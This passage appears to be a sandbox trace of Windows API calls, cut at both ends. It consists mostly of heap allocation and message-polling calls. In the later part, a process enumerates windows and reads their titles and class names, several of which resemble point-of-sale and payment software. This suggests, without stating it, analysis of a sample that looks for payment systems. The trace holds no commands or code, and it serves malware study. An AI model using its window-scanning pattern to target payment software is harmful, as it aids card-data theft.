hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa38 | out: hHeap=0xe80000) returned 1 [0140.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0140.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0140.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.134] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec5d0 [0140.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec5d0 | out: hHeap=0xe80000) returned 1 [0140.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7a38 [0140.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7a38 | out: hHeap=0xe80000) returned 1 [0140.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0140.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078398 [0140.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.135] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078398 | out: hHeap=0xe80000) returned 1 [0140.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7778 [0140.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10783f8 [0140.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa38 [0140.135] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2ae0 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078488 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10785a8 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10782c0 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10783b0 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078368 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078518 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078320 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10783e0 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078590 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078350 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10782f0 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078410 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10782d8 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078308 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078338 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078530 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078548 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba6b0 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078560 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7958 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0xf00538 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10784b8 [0140.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf998 [0140.136] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784b8 | out: hHeap=0xe80000) returned 1 [0140.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba4f8 [0140.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10784e8 [0140.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078428 [0140.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0140.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078440 [0140.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078380 [0140.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078398 [0140.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x5c2) returned 0xeda848 [0140.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078380 | out: hHeap=0xe80000) returned 1 [0140.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x5c2) returned 0xeee8d8 [0140.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078398 | out: hHeap=0xe80000) returned 1 [0140.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4f8 | out: hHeap=0xe80000) returned 1 [0140.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf00538 | out: hHeap=0xe80000) returned 1 [0140.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7958 | out: hHeap=0xe80000) returned 1 [0140.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078560 | out: hHeap=0xe80000) returned 1 [0140.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078428 | out: hHeap=0xe80000) returned 1 [0140.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784e8 | out: hHeap=0xe80000) returned 1 [0140.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeda848 | out: hHeap=0xe80000) returned 1 [0140.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078440 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba6b0 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10785a8 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078488 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782c0 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078368 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783b0 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078518 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078320 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078590 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783e0 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078350 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078410 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782f0 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782d8 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078338 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078308 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078530 | out: hHeap=0xe80000) returned 1 [0140.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078548 | out: hHeap=0xe80000) returned 1 [0140.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2ae0 | out: hHeap=0xe80000) returned 1 [0140.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783f8 | out: hHeap=0xe80000) returned 1 [0140.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa38 | out: hHeap=0xe80000) returned 1 [0140.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x5c2) returned 0xeda848 [0140.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeee8d8 | out: hHeap=0xe80000) returned 1 [0140.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeda848 | out: hHeap=0xe80000) returned 1 [0140.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0140.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba688 [0140.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078560 [0140.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.143] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0140.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078560 | out: hHeap=0xe80000) returned 1 [0140.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba688 | out: hHeap=0xe80000) returned 1 [0140.145] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba7c8 [0140.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10784d0 [0140.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa38 [0140.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078428 [0140.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa38 | out: hHeap=0xe80000) returned 1 [0140.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078560 [0140.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf998 [0140.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078398 [0140.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9e8 [0140.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10782d8 [0140.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa28 [0140.145] EnumWindows (lpEnumFunc=0x30aed4, lParam=0x375500) returned 1 [0140.145] GetWindowTextW (in: hWnd=0x10132, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.145] GetClassNameW (in: hWnd=0x10132, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0140.146] GetWindowTextW (in: hWnd=0x10104, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.146] GetClassNameW (in: hWnd=0x10104, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0140.146] GetWindowTextW (in: hWnd=0x100d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.146] GetClassNameW (in: hWnd=0x100d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.146] GetWindowTextW (in: hWnd=0x100ae, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.146] GetClassNameW (in: hWnd=0x100ae, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.146] GetWindowTextW (in: hWnd=0x100b2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.146] GetClassNameW (in: hWnd=0x100b2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.146] GetWindowTextW (in: hWnd=0x100be, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.147] GetClassNameW (in: hWnd=0x100be, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.147] GetWindowTextW (in: hWnd=0x100c8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.147] GetClassNameW (in: hWnd=0x100c8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.147] GetWindowTextW (in: hWnd=0x100cc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.147] GetClassNameW (in: hWnd=0x100cc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.147] GetWindowTextW (in: hWnd=0x10090, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.147] GetClassNameW (in: hWnd=0x10090, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.147] GetWindowTextW (in: hWnd=0x1009e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.147] GetClassNameW (in: hWnd=0x1009e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.148] GetWindowTextW (in: hWnd=0x100c6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.148] GetClassNameW (in: hWnd=0x100c6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.148] GetWindowTextW (in: hWnd=0x10084, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.148] GetClassNameW (in: hWnd=0x10084, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Shell_TrayWnd") returned 13 [0140.148] GetWindowTextW (in: hWnd=0x101de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Network Flyout") returned 14 [0140.148] GetClassNameW (in: hWnd=0x101de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ATL:00007FFFDA284120") returned 20 [0140.148] GetWindowTextW (in: hWnd=0x100de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.148] GetClassNameW (in: hWnd=0x100de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.149] GetWindowTextW (in: hWnd=0x100d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.149] GetClassNameW (in: hWnd=0x100d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0140.149] GetWindowTextW (in: hWnd=0x20304, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.149] GetClassNameW (in: hWnd=0x20304, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0140.149] GetWindowTextW (in: hWnd=0x20208, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.149] GetClassNameW (in: hWnd=0x20208, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.149] GetWindowTextW (in: hWnd=0x3007a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.149] GetClassNameW (in: hWnd=0x3007a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.150] GetWindowTextW (in: hWnd=0x3002c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.150] GetClassNameW (in: hWnd=0x3002c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0140.150] GetWindowTextW (in: hWnd=0x2013a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0140.150] GetClassNameW (in: hWnd=0x2013a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IEFrame") returned 7 [0140.150] GetWindowTextW (in: hWnd=0x70102, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.150] GetClassNameW (in: hWnd=0x70102, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0140.150] GetWindowTextW (in: hWnd=0x202a0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.151] GetClassNameW (in: hWnd=0x202a0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="VSyncHelper-08175010-8cd0474") returned 28 [0140.151] GetWindowTextW (in: hWnd=0x30234, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0140.151] GetClassNameW (in: hWnd=0x30234, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0140.151] GetWindowTextW (in: hWnd=0x20284, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.151] GetClassNameW (in: hWnd=0x20284, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0140.151] GetWindowTextW (in: hWnd=0x2026e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.151] GetClassNameW (in: hWnd=0x2026e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0140.151] GetWindowTextW (in: hWnd=0x20372, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.151] GetClassNameW (in: hWnd=0x20372, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.152] GetWindowTextW (in: hWnd=0x20250, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.152] GetClassNameW (in: hWnd=0x20250, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="VSyncHelper-0519A538-87b8549") returned 28 [0140.152] GetWindowTextW (in: hWnd=0x4012a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0140.152] GetClassNameW (in: hWnd=0x4012a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0140.152] GetWindowTextW (in: hWnd=0x202dc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.152] GetClassNameW (in: hWnd=0x202dc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0140.152] GetWindowTextW (in: hWnd=0x202fe, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.152] GetClassNameW (in: hWnd=0x202fe, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0140.153] GetWindowTextW (in: hWnd=0x202b2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.153] GetClassNameW (in: hWnd=0x202b2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.153] GetWindowTextW (in: hWnd=0x30036, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0140.153] GetClassNameW (in: hWnd=0x30036, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0140.153] GetWindowTextW (in: hWnd=0x10360, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0140.153] GetClassNameW (in: hWnd=0x10360, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0140.153] GetWindowTextW (in: hWnd=0x10350, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Spgagentservice") returned 15 [0140.153] GetClassNameW (in: hWnd=0x10350, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="spgagentserviceclass") returned 20 [0140.154] GetWindowTextW (in: hWnd=0x1034c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Thank Clearly") returned 13 [0140.154] GetClassNameW (in: hWnd=0x1034c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Thank_clearly_cls") returned 17 [0140.154] GetWindowTextW (in: hWnd=0x10348, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Learn Get") returned 9 [0140.154] GetClassNameW (in: hWnd=0x10348, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Learn_get_") returned 10 [0140.154] GetWindowTextW (in: hWnd=0x1032c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Spcwin") returned 6 [0140.154] GetClassNameW (in: hWnd=0x1032c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="spcwinwindow") returned 12 [0140.154] GetWindowTextW (in: hWnd=0x10342, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Hair Federal") returned 12 [0140.155] GetClassNameW (in: hWnd=0x10342, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="hairFederalcls") returned 14 [0140.155] GetWindowTextW (in: hWnd=0x10338, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Education") returned 9 [0140.155] GetClassNameW (in: hWnd=0x10338, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Educationwnd") returned 12 [0140.155] GetWindowTextW (in: hWnd=0x10336, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Utg2") returned 4 [0140.155] GetClassNameW (in: hWnd=0x10336, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="utg2_win") returned 8 [0140.155] GetWindowTextW (in: hWnd=0x10324, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Mxslipstream") returned 12 [0140.155] GetClassNameW (in: hWnd=0x10324, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="mxslipstream_class") returned 18 [0140.156] GetWindowTextW (in: hWnd=0x1030e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Creditservice") returned 13 [0140.156] GetClassNameW (in: hWnd=0x1030e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="creditservice_") returned 14 [0140.156] GetWindowTextW (in: hWnd=0x10326, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Omnipos") returned 7 [0140.289] GetClassNameW (in: hWnd=0x10326, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="omniposwindow") returned 13 [0140.289] GetWindowTextW (in: hWnd=0x10318, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Fpos") returned 4 [0140.289] GetClassNameW (in: hWnd=0x10318, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="fpos_window") returned 11 [0140.289] GetWindowTextW (in: hWnd=0x10310, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Edcsvr") returned 6 [0140.289] GetClassNameW (in: hWnd=0x10310, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="edcsvrapp") returned 9 [0140.289] GetWindowTextW (in: hWnd=0x1031a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Isspos") returned 6 [0140.289] GetClassNameW (in: 